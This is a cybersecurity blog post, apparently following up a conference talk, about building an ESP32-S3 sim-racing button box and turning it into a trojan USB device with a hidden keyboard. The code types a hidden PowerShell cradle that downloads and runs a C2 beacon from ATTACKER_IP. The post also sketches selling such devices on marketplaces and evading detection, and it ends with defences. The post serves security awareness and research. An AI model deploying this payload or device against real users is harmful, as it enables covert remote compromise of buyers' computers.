- #_shellntel Cybersecurity Blog
- Posts
- Press X to PWN
Press X to PWN
The Trojan Button Box

This is a follow-up blog from my talk at BsidesMKE 2026 Press X to PWN. The full slides are available here and the full talk is now available on YouTube.
It Started with Factorio

I discovered my love for automation playing Factorio. Then I couldn't back up my boat trailer in real life, so I started playing American Truck Simulator (at least that's what I tell my wife). Add Microsoft Flight Simulator for working towards a pilot's license, and suddenly I had a sim racing addiction.
Some people say video games are a waste of time. But it's not a waste of time if you enjoy it. And simulators? You're actually learning something. There's a whole movie about a guy who went from Gran Turismo to professional racing driver. Simulators - cheaper than therapy.
The Rig Evolution

I started looking at Honeycomb flight controls and Logitech pedals. Too expensive. Settled on a Logitech G923 wheel and shifter, added a handbrake, threw it in front of an old 55" TV.
Then I wanted more buttons.
SimHub, SimDashboard on a tablet, Stream Deck... all options. But a Stream Deck is $150. What if I just built my own?
The ESP32 Rabbit Hole

I'd already been down the ESP32 rabbit hole:
Air quality sensor (PM2.5/PM10) from sensor.community
WLED for RGB LED strips
Deauth detector with ESP8266 (presented at DEF CON Hardware Hacking Village)
Meshtastic for off-grid mesh networking
The ESP32-S3 caught my attention. Native USB HID support. $10. No drivers needed. Just plug in and it shows up as a game controller.

Parts list:
ESP32-S3-DevKitC-1 (N16R8) - $10-15
Toggle switches - $8-10
Momentary push buttons - $3
4-position ignition switch - $8
Pull switches - $5
3D printed case (shoutout to z0civic on Thingiverse)
Total: ~$50
Wiring

All switches wire the same way:
One terminal to GPIO pin
Other terminal to GND
Use INPUT_PULLUP (built-in resistors, no external components needed)
No soldering required. Breadboard, jumper wires, and prayers.
The Code
Using the Joystick_ESP32S2 library:
#include <Joystick_ESP32S2.h>
Joystick_ Joystick(
JOYSTICK_DEFAULT_REPORT_ID,
JOYSTICK_TYPE_GAMEPAD,
15, // 15 buttons
0, // 0 hat switches
false, false, false, false, false, false,
false, false, false, false, false
);
void setup() {
pinMode(buttonPin, INPUT_PULLUP);
Joystick.begin();
}
void loop() {
bool state = digitalRead(buttonPin);
Joystick.setButton(0, state == LOW ? 1 : 0);
delay(10);
}
A few gotchas:
Debouncing: Mechanical switches bounce. Add a 50ms delay to ignore noise.
Pulse mode: For toggle switches like parking brake, ATS expects a momentary press. Send a quick pulse on state change instead of holding.
Ignition switch: 4 positions (OFF → ACC → IGN → START) required some logic to map correctly.
Then I Realized Something

This thing is basically a Rubber Ducky that actually does something useful.
The ESP32-S3 can register as multiple USB HID devices simultaneously. Same device shows up as a gamepad AND a keyboard. Windows trusts both. No prompts, no warnings.
Weaponizing It
Adding the hidden keyboard:
#include <USB.h>
#include <USBHIDKeyboard.h>
#include <Joystick_ESP32S2.h>
USBHIDKeyboard Keyboard;
Joystick_ Joystick(...);
void launchPayload() {
// Win + R
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(100);
Keyboard.releaseAll();
delay(400);
// PowerShell cradle
Keyboard.print("powershell -w hidden -ep bypass -c \"IWR http://ATTACKER_IP:8000/beacon.exe -OutFile $env:TEMP\\b.exe; Start-Process $env:TEMP\\b.exe\"");
delay(100);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
}
Now one button deploys a C2 beacon.
The Attack Path
Attacker builds button box
Lists on Etsy / Amazon / eBay
Victim buys "cool sim racing accessory"
Uses it for months, works perfectly
One button silently deploys beacon
Attacker has shell
Victim never knows
This isn't theoretical. Supply chain attacks are happening constantly - LiteLLM, Trivy, SolarWinds, XZ Utils. Now imagine hardware.
Keeping It Honest
Our POC opens the Windows Run dialog. Visible. Not exactly stealthy.
But:
It still works
User isn't expecting it
Happens fast
Future improvements:
Time delay (fire when idle)
Fire when screen locks
Faster execution
AMSI bypass
Defense
USB device whitelisting (GPO)
Block unknown HID devices
Endpoint detection for rapid keystrokes
Physical security awareness
Don't buy random peripherals from Etsy
Cost Comparison
Device | Cost |
|---|---|
Rubber Ducky | $100 |
O.MG Cable | $120 |
Stream Deck | $150 |
Trojan Button Box | $10-50 |
And mine plays ATS.
Build Your Own
Code, wiring diagrams, and 3D print files on GitHub:
https://github.com/rzagrodnik-infocus/ats-button-box